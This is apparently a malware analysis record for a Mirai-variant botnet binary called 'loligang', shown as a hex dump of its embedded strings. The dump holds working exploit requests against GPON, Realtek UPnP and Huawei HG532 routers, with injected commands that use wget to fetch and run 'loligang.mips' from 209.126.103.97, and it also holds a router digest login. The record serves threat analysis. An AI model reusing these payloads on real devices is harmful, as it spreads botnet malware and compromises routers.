loligang.m68k
Mirai botnet exploit kit
Huawei HG532 exploit with campaign markerMirai LZRD HTTP bot with static uClibc
SHA-2566a7b51632fb5ad76ccfaaa3303aaba86be80f905979b0cb2efebfbff8ce74ea7
Evidence
⋯7 more rows
0x16f5c4e754e56000061fffffe91444e5e4e75NuNV..a....DN^Nu
0x16f6c504f5354202f63646e2d6367692f0020POST /cdn-cgi/.
0x16f7c485454502f312e310d0a557365722d41HTTP/1.1..User-A
0x16f8c67656e743a20000d0a486f73743a2000gent: ...Host: .
0x16f9c300d0a0047455400436f6f6b69653a200...GET.Cookie:
0x16fac003b20003b00687474700075726c3d00.; .;.http.url=.
0x16fbc504f53540027002f70726f632f6e6574POST.'./proc/net
0x16fcc2f746370003230392e3132362e313033/tcp.209.126.103
0x16fdc2e393700000000010025642e25642e25.97......%d.%d.%
0x16fec642e256400504f5354202f47706f6e46d.%d.POST /GponF
0x16ffc6f726d2f646961675f466f726d3f696dorm/diag_Form?im
0x1700c616765732f20485454502f312e310d0aages/ HTTP/1.1..
0x1701c486f73743a203132372e302e302e313aHost: 127.0.0.1:
0x1702c383038300d0a436f6e6e656374696f6e8080..Connection
0x1703c3a206b6565702d616c6976650d0a4163: keep-alive..Ac
0x1704c636570742d456e636f64696e673a2067cept-Encoding: g
0x1705c7a69702c206465666c6174650d0a4163zip, deflate..Ac
0x1706c636570743a202a2f2a0d0a557365722dcept: */*..User-
0x1707c4167656e743a204d6f7a696c6c612f35Agent: Mozilla/5
0x1708c2e300d0a436f6e74656e742d4c656e67.0..Content-Leng
0x1709c74683a203131380d0a0d0a5857656250th: 118....XWebP
0x170ac6167654e616d653d6469616726646961ageName=diag&dia
0x170bc675f616374696f6e3d70696e67267761g_action=ping&wa
0x170cc6e5f636f6e6c6973743d302664657374n_conlist=0&dest
0x170dc5f686f73743d60603b776765742b6874_host=``;wget+ht
0x170ec74703a2f2f3230392e3132362e313033tp://209.126.103
0x170fc2e39372f6c6d616f5754462f6c6f6c69.97/lmaoWTF/loli
0x1710c67616e672e6d6970732b2d4f2b2f746dgang.mips+-O+/tm
0x1711c702f6c6f6c6967616e672e6d6970733bp/loligang.mips;
0x1712c73682b2f746d702f6c6f6c6967616e67sh+/tmp/loligang
0x1713c2e6d697073266970763d3000504f5354.mips&ipv=0.POST
0x1714c202f47706f6e466f726d2f646961675f /GponForm/diag_
0x1715c466f726d3f696d616765732f20485454Form?images/ HTT
0x1716c502f312e310d0a486f73743a20313237P/1.1..Host: 127
0x1717c2e302e302e313a38300d0a436f6e6e65.0.0.1:80..Conne
0x1718c6374696f6e3a206b6565702d616c6976ction: keep-aliv
0x1719c650d0a4163636570742d456e636f6469e..Accept-Encodi
0x171ac6e673a20677a69702c206465666c6174ng: gzip, deflat
0x171bc650d0a4163636570743a202a2f2a0d0ae..Accept: */*..
0x171cc557365722d4167656e743a204d6f7a69User-Agent: Mozi
0x171dc6c6c612f352e300d0a436f6e74656e74lla/5.0..Content
⋯3 more rows
0x1728d67616e672e6d697073266970763d3000gang.mips&ipv=0.
0x1729d504f5354202f70696373646573632e78POST /picsdesc.x
0x172ad6d6c20485454502f312e310d0a486f73ml HTTP/1.1..Hos
0x172bd743a2025733a35323836390d0a436f6et: %s:52869..Con
0x172cd74656e742d4c656e6774683a20363330tent-Length: 630
0x172dd0d0a4163636570742d456e636f64696e..Accept-Encodin
0x172ed673a20677a69702c206465666c617465g: gzip, deflate
0x172fd0d0a534f4150416374696f6e3a207572..SOAPAction: ur
0x1730d6e3a736368656d61732d75706e702d6fn:schemas-upnp-o
0x1731d72673a736572766963653a57414e4950rg:service:WANIP
0x1732d436f6e6e656374696f6e3a3123416464Connection:1#Add
0x1733d506f72744d617070696e670d0a416363PortMapping..Acc
0x1734d6570743a202a2f2a0d0a557365722d41ept: */*..User-A
0x1735d67656e743a204d6f7a696c6c612f352egent: Mozilla/5.
0x1736d300d0a436f6e6e656374696f6e3a206b0..Connection: k
0x1737d6565702d616c6976650d0a0d0a3c3f78eep-alive....<?x
0x1738d6d6c2076657273696f6e3d22312e3022ml version="1.0"
0x1739d203f3e3c733a456e76656c6f70652078 ?><s:Envelope x
0x173ad6d6c6e733a733d22687474703a2f2f73mlns:s="http://s
0x173bd6368656d61732e786d6c736f61702e6fchemas.xmlsoap.o
0x173cd72672f736f61702f656e76656c6f7065rg/soap/envelope
0x173dd2f2220733a656e636f64696e67537479/" s:encodingSty
0x173ed6c653d22687474703a2f2f736368656dle="http://schem
0x173fd61732e786d6c736f61702e6f72672f73as.xmlsoap.org/s
0x1740d6f61702f656e636f64696e672f223e3coap/encoding/"><
⋯7 more rows
⋯5 more rows
0x174ec4e6577496e7465726e616c506f72743eNewInternalPort>
0x174fc3c4e6577496e7465726e616c436c6965<NewInternalClie
0x1750c6e743e606364202f746d702f3b20726dnt>`cd /tmp/; rm
0x1751c202d72662a3b20776765742068747470 -rf*; wget http
0x1752c3a2f2f3230392e3132362e3130332e39://209.126.103.9
0x1753c372f6c6d616f5754462f6c6f6c6967617/lmaoWTF/loliga
0x1754c6e672e6d697073603c2f4e6577496e74ng.mips`</NewInt
0x1755c65726e616c436c69656e743e3c4e6577ernalClient><New
⋯4 more rows
0x175ac6f72744d617070696e67446573637269ortMappingDescri
0x175bc7074696f6e3e3c4e65774c6561736544ption><NewLeaseD
0x175cc75726174696f6e3e303c2f4e65774c65uration>0</NewLe
0x175dc6173654475726174696f6e3e3c2f753aaseDuration></u:
⋯15 more rows
⋯5 more rows
0x178826c69656e743e606364202f746d702f3blient>`cd /tmp/;
0x1789263686d6f64202b78206c6f6c6967616echmod +x loligan
0x178a2672e6d6970733b2e2f6c6f6c6967616eg.mips;./loligan
0x178b2672e6d697073207265616c74656b602fg.mips realtek`/
⋯11 more rows
0x17972733a456e76656c6f70653e0d0a0d0a00s:Envelope>.....
0x17982504f5354202f6374726c742f44657669POST /ctrlt/Devi
0x179926365557067726164655f312048545450ceUpgrade_1 HTTP
0x179a22f312e310d0a486f73743a2025733a33/1.1..Host: %s:3
0x179b2373231350d0a436f6e74656e742d4c657215..Content-Le
0x179c26e6774683a203630310d0a436f6e6e65ngth: 601..Conne
0x179d26374696f6e3a206b6565702d616c6976ction: keep-aliv
0x179e2650d0a417574686f72697a6174696f6ee..Authorization
0x179f23a2044696765737420757365726e616d: Digest usernam
0x17a02653d2264736c662d636f6e666967222ce="dslf-config",
0x17a12207265616c6d3d22487561776569486f realm="HuaweiHo
0x17a226d6547617465776179222c206e6f6e63meGateway", nonc
0x17a32653d2238383634356365666231663965e="88645cefb1f9e
⋯9 more rows
0x17ad2653d2232343864316132353630313030e="248d1a2560100
0x17ae2363639220d0a0d0a3c3f786d6c207665669"....<?xml ve
0x17af27273696f6e3d22312e3022203f3e3c73rsion="1.0" ?><s
0x17b023a456e76656c6f706520786d6c6e733a:Envelope xmlns:
0x17b12733d22687474703a2f2f736368656d61s="http://schema
0x17b22732e786d6c736f61702e6f72672f736fs.xmlsoap.org/so
⋯3 more rows
0x180b65447501802414e4d5746444e4350470fTGP..ANMWFDNCPG.
0x180c64c454b4c5a22006f4d584b4e4e430d17LEKLZ".oMXKNNC..
0x180d60c12020a754b4c464d5551026c760213....uKLFMUQ.lv..
0x180e6120c121902756d7514160b026352524e.....umu....cRRN
0x180f647754740694b560d1711150c1114020aGuG@iKV.........
0x18106696a766f6e0e024e4b49470265474149ijvon..NKIG.eGAI
0x181164d0b02614a504d4f470d17130c120c10M..aJPMOG.......
0x181261512160c1312110271434443504b0d17........qCDCPK..
0x1813611150c111422006f4d584b4e4e430d17.....".oMXKNNC..
0x181460c12020a754b4c464d5551026c760213....uKLFMUQ.lv..
0x18156120c121902756d7514160b026352524e.....umu....cRRN
0x1816647754740694b560d1711150c1114020aGuG@iKV.........
0x18176696a766f6e0e024e4b49470265474149ijvon..NKIG.eGAI
0x181864d0b02614a504d4f470d17100c120c10M..aJPMOG.......
0x181961516110c1313140271434443504b0d17........qCDCPK..
0x181a611150c111422006f4d584b4e4e430d17.....".oMXKNNC..
0x181b60c12020a754b4c464d5551026c760214....uKLFMUQ.lv..
0x181c60c131902756d7514160b026352524e47....umu....cRRNG
0x181e66a766f6e0e024e4b494702654741494djvon..NKIG.eGAIM
0x181f60b02614a504d4f470d17130c120c1015..aJPMOG........
0x1820612160c1312110271434443504b0d1711.......qCDCPK...
0x18216150c111422006f4d584b4e4e430d170c....".oMXKNNC...
0x1822612020a754b4c464d5551026c7602140c...uKLFMUQ.lv...
0x18236131902756d7514160b026352524e4775...umu....cRRNGu
0x18256766f6e0e024e4b494702654741494d0bvon..NKIG.eGAIM.
0x1826602614a504d4f470d17100c120c101516.aJPMOG.........
0x18276110c1313140271434443504b0d171115......qCDCPK....
0x182860c111422006f4d584b4e4e430d170c12...".oMXKNNC....
0x18296020a6f43414b4c564d514a19026b4c56..oCAKLVMQJ..kLV
0x182a6474e026f4341026d71027a0213127d13GN.oCA.mq.z...}.
0x182b6137d140b026352524e47754740694b56.}...cRRNGuG@iKV
0x182c60d1412130c150c15020a696a766f6e0e..........ijvon.
0x182d6024e4b494702654741494d0b02744750.NKIG.eGAIM..tGP
0x182e6514b4d4c0d1b0c130c10027143444350QKML.......qCDCP
0x182f64b0d1412130c150c1522006f4d584b4eK........".oMXKN
0x183064e430d160c12020a414d4f5243564b40NC......AMORCVK@
0x183164e4719026f716b67021b0c121902754bNG..oqkg......uK
0x183264c464d5551026c7602170c1319027650LFMUQ.lv......vP
0x183364b46474c560d170c120b22006f4d584bKFGLV.....".oMXK
0x183464e4e430d160c12020a414d4f5243564bNNC......AMORCVK
0x18356404e4719026f716b67021b0c12190275@NG..oqkg......u
0x183664b4c464d5551026c7602140c12190276KLFMUQ.lv......v
0x18376504b46474c560d160c12190265766015PKFGLV......ev`.